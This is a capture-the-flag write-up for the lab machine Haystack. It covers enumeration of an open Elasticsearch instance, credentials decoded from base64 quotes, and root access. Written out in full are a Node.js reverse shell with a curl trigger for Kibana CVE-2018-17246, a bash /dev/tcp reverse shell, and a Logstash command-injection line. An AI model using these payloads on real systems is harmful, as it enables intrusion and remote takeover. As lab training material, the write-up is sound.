The initial nmap scan of Haystack didn’t reveal a lot of open ports:
# Nmap 7.70 scan initiated Sun Jul 14 11:42:39 2019 as: nmap -o nmap_full -p- 10.10.10.115 Nmap scan report for 10.10.10.115 Host is up (0.025s latency). Not shown: 65532 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 9200/tcp open wap-wsp
On port 80 only a picture of a needle in a haystack was displayed. Nothing else could be found on that web-server neither with gobuster nor dirb. We of course don’t have any credentials yet for SSH on port 22 so only port 9200 remains. On port 9200 Elasticsearch is listening. There is no authentication configured for it either.
First, let’s get the configured indexes:
# curl -s 'http://10.10.10.115:9200/_cat/indices?v' health status index uuid pri rep docs.count docs.deleted store.size pri.store.size green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
This tells us that there might be a Kibana interface running on top of it, but it’s not accessible yet for us. There are two other indexes “quotes” and “bank”. This was a pretty annoying part of this box, retrieving all the data from “bank” only showed a bunch of account information, but no passwords or anything useful at all. “quotes” was mostly text in Spanish. Searching through this data for “needle” this result set appeared:
{ "_index": "quotes", "_type": "quote", "_id": "2", "_score": 1, "_source": { "quote": "There's a needle in this haystack, you have to search for it" }
So this was the right path. After scrolling through the results two messages contained base64 encoded text:
# curl -X GET "http://10.10.10.115:9200/quotes/_search?size=10000" -H 'Content-Type: application/json' -d' (...) { "_index": "quotes", "_type": "quote", "_id": "45", "_score": 1, "_source": { "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " } }, (...) { "_index": "quotes", "_type": "quote", "_id": "111", "_score": 1, "_source": { "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" } }, (...)
Those quotes translated and decoded are:
I have to save the password for the machine: user: security This key can not be lost, I keep it here: pass: spanish.is.key
With this we can now login via SSH and get the user flag. Looking around on the system there is only one service that caught our attention: logstash
It’s running as root. The configuration of it is mostly readable to us but the files in “/etc/logstash/conf.d” are only readable by the “kibana” user.
There is also a Kibana instance running as we were already suspecting which only listens on 127.0.0.1:5601. This version has a vulnerability (CVE-2018-17246) which allows us execute code as the Kibana process. We first start a local netcat listener on port 1337 and then create a JavaScript reverse shell in “/tmp/shell.js”:
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "10.10.14.9", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
After that triggering the vulnerability by running:
$ curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../../../tmp/shell.js'
gives us a new reverse shell as the “kibana” user:
# nc -vnlp 1337 listening on [any] 1337 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.115] 53254 id uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
With that we can now read the configuration files in “/etc/logstash/conf.d”:
$ cat input.conf input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } } $ cat filter.conf filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } $ cat output.conf output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } }
This is a rather simple Logstash configuration. Logstash will read files matching “/opt/kibana/logstash_*”. The file will be parsed and a “comando” variable will be extracted by a regex. And that variable will be executed.
The folder “/opt/kibana” is writeable by the “kibana” user. We start a local netcat listener again on port 4444.
After that create the following reverse shell wrapper as “/tmp/rev.sh”:
#!/bin/sh bash -i >& /dev/tcp/10.10.14.9/4444 0>&1
Give the script executable permissions then run as the “kibana” user:
$ echo "Ejecutar comando : /tmp/rev.sh" >> /opt/kibana/logstash_rev
And after a few seconds on our listener we get back a connection:
# nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.115] 56596 bash: no hay control de trabajos en este shell [root@haystack /]# id id uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0 [root@haystack ~]# cat /root/root.txt 3f5f727c38d9f70e1d2ad2ba11059d92